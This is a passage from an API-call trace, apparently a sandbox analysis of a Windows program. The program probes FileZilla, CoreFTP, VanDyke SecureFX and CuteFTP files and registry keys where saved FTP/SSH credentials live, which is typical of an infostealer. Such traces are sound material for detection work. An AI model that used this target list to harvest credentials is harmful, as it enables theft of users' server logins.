lpString1=0x2cbcc0, lpString2="C:\\ProgramData\\FileZilla" | out: lpString1="C:\\ProgramData\\FileZilla") returned="C:\\ProgramData\\FileZilla" [0056.071] lstrcatA (in: lpString1="C:\\ProgramData\\FileZilla", lpString2="\\sitemanager.xml" | out: lpString1="C:\\ProgramData\\FileZilla\\sitemanager.xml") returned="C:\\ProgramData\\FileZilla\\sitemanager.xml" [0056.071] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\sitemanager.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2a [0056.071] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x2cbd78 [0056.071] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\sitemanager.xml", lpDst=0x2cbd78, nSize=0x2a | out: lpDst="C:\\ProgramData\\FileZilla\\sitemanager.xml") returned 0x29 [0056.071] CreateFileA (lpFileName="C:\\ProgramData\\FileZilla\\sitemanager.xml" (normalized: "c:\\programdata\\filezilla\\sitemanager.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.071] LocalFree (hMem=0x2cbd78) returned 0x0 [0056.071] LocalFree (hMem=0x2cbcc0) returned 0x0 [0056.071] lstrlenA (lpString="C:\\ProgramData\\FileZilla") returned 24 [0056.071] lstrlenA (lpString="\\recentservers.xml") returned 18 [0056.071] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x2cbcc0 [0056.071] lstrcpyA (in: lpString1=0x2cbcc0, lpString2="C:\\ProgramData\\FileZilla" | out: lpString1="C:\\ProgramData\\FileZilla") returned="C:\\ProgramData\\FileZilla" [0056.071] lstrcatA (in: lpString1="C:\\ProgramData\\FileZilla", lpString2="\\recentservers.xml" | out: lpString1="C:\\ProgramData\\FileZilla\\recentservers.xml") returned="C:\\ProgramData\\FileZilla\\recentservers.xml" [0056.071] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\recentservers.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2c [0056.071] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2cbd78 [0056.071] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\recentservers.xml", lpDst=0x2cbd78, nSize=0x2c | out: lpDst="C:\\ProgramData\\FileZilla\\recentservers.xml") returned 0x2b [0056.071] CreateFileA (lpFileName="C:\\ProgramData\\FileZilla\\recentservers.xml" (normalized: "c:\\programdata\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.071] LocalFree (hMem=0x2cbd78) returned 0x0 [0056.071] LocalFree (hMem=0x2cbcc0) returned 0x0 [0056.071] lstrlenA (lpString="C:\\ProgramData\\FileZilla") returned 24 [0056.071] lstrlenA (lpString="\\filezilla.xml") returned 14 [0056.071] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x2cbcc0 [0056.071] lstrcpyA (in: lpString1=0x2cbcc0, lpString2="C:\\ProgramData\\FileZilla" | out: lpString1="C:\\ProgramData\\FileZilla") returned="C:\\ProgramData\\FileZilla" [0056.071] lstrcatA (in: lpString1="C:\\ProgramData\\FileZilla", lpString2="\\filezilla.xml" | out: lpString1="C:\\ProgramData\\FileZilla\\filezilla.xml") returned="C:\\ProgramData\\FileZilla\\filezilla.xml" [0056.071] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\filezilla.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x28 [0056.071] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x2cbd70 [0056.071] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FileZilla\\filezilla.xml", lpDst=0x2cbd70, nSize=0x28 | out: lpDst="C:\\ProgramData\\FileZilla\\filezilla.xml") returned 0x27 [0056.071] CreateFileA (lpFileName="C:\\ProgramData\\FileZilla\\filezilla.xml" (normalized: "c:\\programdata\\filezilla\\filezilla.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.071] LocalFree (hMem=0x2cbd70) returned 0x0 [0056.071] LocalFree (hMem=0x2cbcc0) returned 0x0 [0056.071] LocalFree (hMem=0x2cb600) returned 0x0 [0056.071] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cbcc0 [0056.071] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x2cbcc0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0056.072] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.072] lstrlenA (lpString="\\FileZilla") returned 10 [0056.072] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x2cc740 [0056.072] lstrcpyA (in: lpString1=0x2cc740, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.072] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FileZilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla" [0056.072] LocalFree (hMem=0x2cbcc0) returned 0x0 [0056.072] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla") returned 47 [0056.072] lstrlenA (lpString="\\sitemanager.xml") returned 16 [0056.072] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2cbcc0 [0056.072] lstrcpyA (in: lpString1=0x2cbcc0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla" [0056.072] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla", lpString2="\\sitemanager.xml" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\sitemanager.xml") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\sitemanager.xml" [0056.072] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\sitemanager.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x41 [0056.072] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x2cc7f8 [0056.072] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\sitemanager.xml", lpDst=0x2cc7f8, nSize=0x41 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\sitemanager.xml") returned 0x40 [0056.072] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\sitemanager.xml" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\filezilla\\sitemanager.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.073] LocalFree (hMem=0x2cc7f8) returned 0x0 [0056.073] LocalFree (hMem=0x2cbcc0) returned 0x0 [0056.073] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla") returned 47 [0056.073] lstrlenA (lpString="\\recentservers.xml") returned 18 [0056.073] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2cbcc0 [0056.073] lstrcpyA (in: lpString1=0x2cbcc0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla" [0056.073] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla", lpString2="\\recentservers.xml" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\recentservers.xml") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\recentservers.xml" [0056.073] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\recentservers.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x43 [0056.073] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x2cc7f8 [0056.073] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\recentservers.xml", lpDst=0x2cc7f8, nSize=0x43 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\recentservers.xml") returned 0x42 [0056.073] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\recentservers.xml" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.073] LocalFree (hMem=0x2cc7f8) returned 0x0 [0056.073] LocalFree (hMem=0x2cbcc0) returned 0x0 [0056.073] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla") returned 47 [0056.073] lstrlenA (lpString="\\filezilla.xml") returned 14 [0056.073] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2cbcc0 [0056.073] lstrcpyA (in: lpString1=0x2cbcc0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla" [0056.073] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla", lpString2="\\filezilla.xml" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\filezilla.xml") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\filezilla.xml" [0056.073] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\filezilla.xml", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3f [0056.073] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x2cbd88 [0056.073] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\filezilla.xml", lpDst=0x2cbd88, nSize=0x3f | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\filezilla.xml") returned 0x3e [0056.073] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FileZilla\\filezilla.xml" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\filezilla\\filezilla.xml"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.073] LocalFree (hMem=0x2cbd88) returned 0x0 [0056.073] LocalFree (hMem=0x2cbcc0) returned 0x0 [0056.073] LocalFree (hMem=0x2cc740) returned 0x0 [0056.073] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.073] IStream:LockRegion (This=0x2c1a58, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0056.073] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd4) returned 0x0 [0056.073] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.073] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.073] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.073] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbe8) returned 0x0 [0056.073] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbe0) returned 0x0 [0056.073] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbfc) returned 0x0 [0056.073] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbe4) returned 0x0 [0056.073] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\FTPWare\\COREFTP\\Sites", phkResult=0x21f3f0 | out: phkResult=0x21f3f0*=0x0) returned 0x2 [0056.073] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.073] IStream:LockRegion (This=0x2c1a58, libOffset=0x158, cb=0x0, dwLockType=0x0) returned 0x0 [0056.073] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbe4) returned 0x0 [0056.073] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.073] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.073] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.073] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd8) returned 0x0 [0056.073] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd0) returned 0x0 [0056.073] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbec) returned 0x0 [0056.073] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd4) returned 0x0 [0056.073] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.073] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0056.073] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.074] lstrlenA (lpString="\\VanDyke\\Config\\Sessions") returned 24 [0056.074] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2cbce0 [0056.074] lstrcpyA (in: lpString1=0x2cbce0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.074] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions" [0056.074] LocalFree (hMem=0x2cc740) returned 0x0 [0056.074] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions") returned 63 [0056.074] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions") returned 63 [0056.074] lstrlenA (lpString="\\*.*") returned 4 [0056.074] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x2cc740 [0056.074] lstrcpyA (in: lpString1=0x2cc740, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions" [0056.074] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions\\*.*" [0056.074] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\VanDyke\\Config\\Sessions\\*.*", lpFindFileData=0x21fa68 | out: lpFindFileData=0x21fa68) returned 0xffffffff [0056.074] LocalFree (hMem=0x2cc740) returned 0x0 [0056.074] LocalFree (hMem=0x2cbce0) returned 0x0 [0056.074] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.074] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\ProgramData") returned 0x0 [0056.074] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.074] lstrlenA (lpString="\\VanDyke\\Config\\Sessions") returned 24 [0056.074] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x2cbce0 [0056.074] lstrcpyA (in: lpString1=0x2cbce0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0056.074] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\ProgramData\\VanDyke\\Config\\Sessions") returned="C:\\ProgramData\\VanDyke\\Config\\Sessions" [0056.074] LocalFree (hMem=0x2cc740) returned 0x0 [0056.074] lstrlenA (lpString="C:\\ProgramData\\VanDyke\\Config\\Sessions") returned 38 [0056.074] lstrlenA (lpString="C:\\ProgramData\\VanDyke\\Config\\Sessions") returned 38 [0056.074] lstrlenA (lpString="\\*.*") returned 4 [0056.074] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x2cbd90 [0056.074] lstrcpyA (in: lpString1=0x2cbd90, lpString2="C:\\ProgramData\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\ProgramData\\VanDyke\\Config\\Sessions") returned="C:\\ProgramData\\VanDyke\\Config\\Sessions" [0056.074] lstrcatA (in: lpString1="C:\\ProgramData\\VanDyke\\Config\\Sessions", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\VanDyke\\Config\\Sessions\\*.*") returned="C:\\ProgramData\\VanDyke\\Config\\Sessions\\*.*" [0056.074] FindFirstFileA (in: lpFileName="C:\\ProgramData\\VanDyke\\Config\\Sessions\\*.*", lpFindFileData=0x21fa60 | out: lpFindFileData=0x21fa60) returned 0xffffffff [0056.074] LocalFree (hMem=0x2cbd90) returned 0x0 [0056.074] LocalFree (hMem=0x2cbce0) returned 0x0 [0056.074] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.074] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0056.074] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.074] lstrlenA (lpString="\\VanDyke\\Config\\Sessions") returned 24 [0056.074] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2cbce0 [0056.074] lstrcpyA (in: lpString1=0x2cbce0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.074] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions" [0056.074] LocalFree (hMem=0x2cc740) returned 0x0 [0056.074] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions") returned 61 [0056.075] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions") returned 61 [0056.075] lstrlenA (lpString="\\*.*") returned 4 [0056.075] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2cc740 [0056.075] lstrcpyA (in: lpString1=0x2cc740, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions" [0056.075] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions\\*.*" [0056.075] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\VanDyke\\Config\\Sessions\\*.*", lpFindFileData=0x21fa58 | out: lpFindFileData=0x21fa58) returned 0xffffffff [0056.075] LocalFree (hMem=0x2cc740) returned 0x0 [0056.075] LocalFree (hMem=0x2cbce0) returned 0x0 [0056.075] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\VanDyke\\SecureFX", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fbb4 | out: phkResult=0x21fbb4*=0x0) returned 0x2 [0056.075] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\VanDyke\\SecureFX", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fb84 | out: phkResult=0x21fb84*=0x0) returned 0x2 [0056.076] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\VanDyke\\SecureFX", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fb54 | out: phkResult=0x21fb54*=0x0) returned 0x2 [0056.076] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.076] IStream:LockRegion (This=0x2c1a58, libOffset=0x168, cb=0x0, dwLockType=0x0) returned 0x0 [0056.076] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd4) returned 0x0 [0056.076] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.076] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.076] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.076] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbe0) returned 0x0 [0056.076] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd8) returned 0x0 [0056.076] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbf4) returned 0x0 [0056.076] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbdc) returned 0x0 [0056.076] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.076] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0056.076] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.076] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP") returned 20 [0056.076] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x2cbcf0 [0056.076] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.076] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP" [0056.077] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP") returned 59 [0056.077] lstrlenA (lpString="\\sm.dat") returned 7 [0056.077] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x2cc8d0 [0056.077] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP" [0056.077] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat" [0056.077] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x44 [0056.077] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x2cc9a0 [0056.077] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x2cc9a0, nSize=0x44 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat") returned 0x43 [0056.077] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\globalscape\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.077] LocalFree (hMem=0x2cc9a0) returned 0x0 [0056.077] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.077] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP") returned 59 [0056.077] lstrlenA (lpString="\\*.*") returned 4 [0056.077] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2cc8d0 [0056.077] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP" [0056.077] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\*.*" [0056.077] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\*.*", lpFindFileData=0x21fa88 | out: lpFindFileData=0x21fa88) returned 0xffffffff [0056.078] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.078] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.078] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.078] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Pro") returned 24 [0056.078] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2cbcf0 [0056.078] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.078] 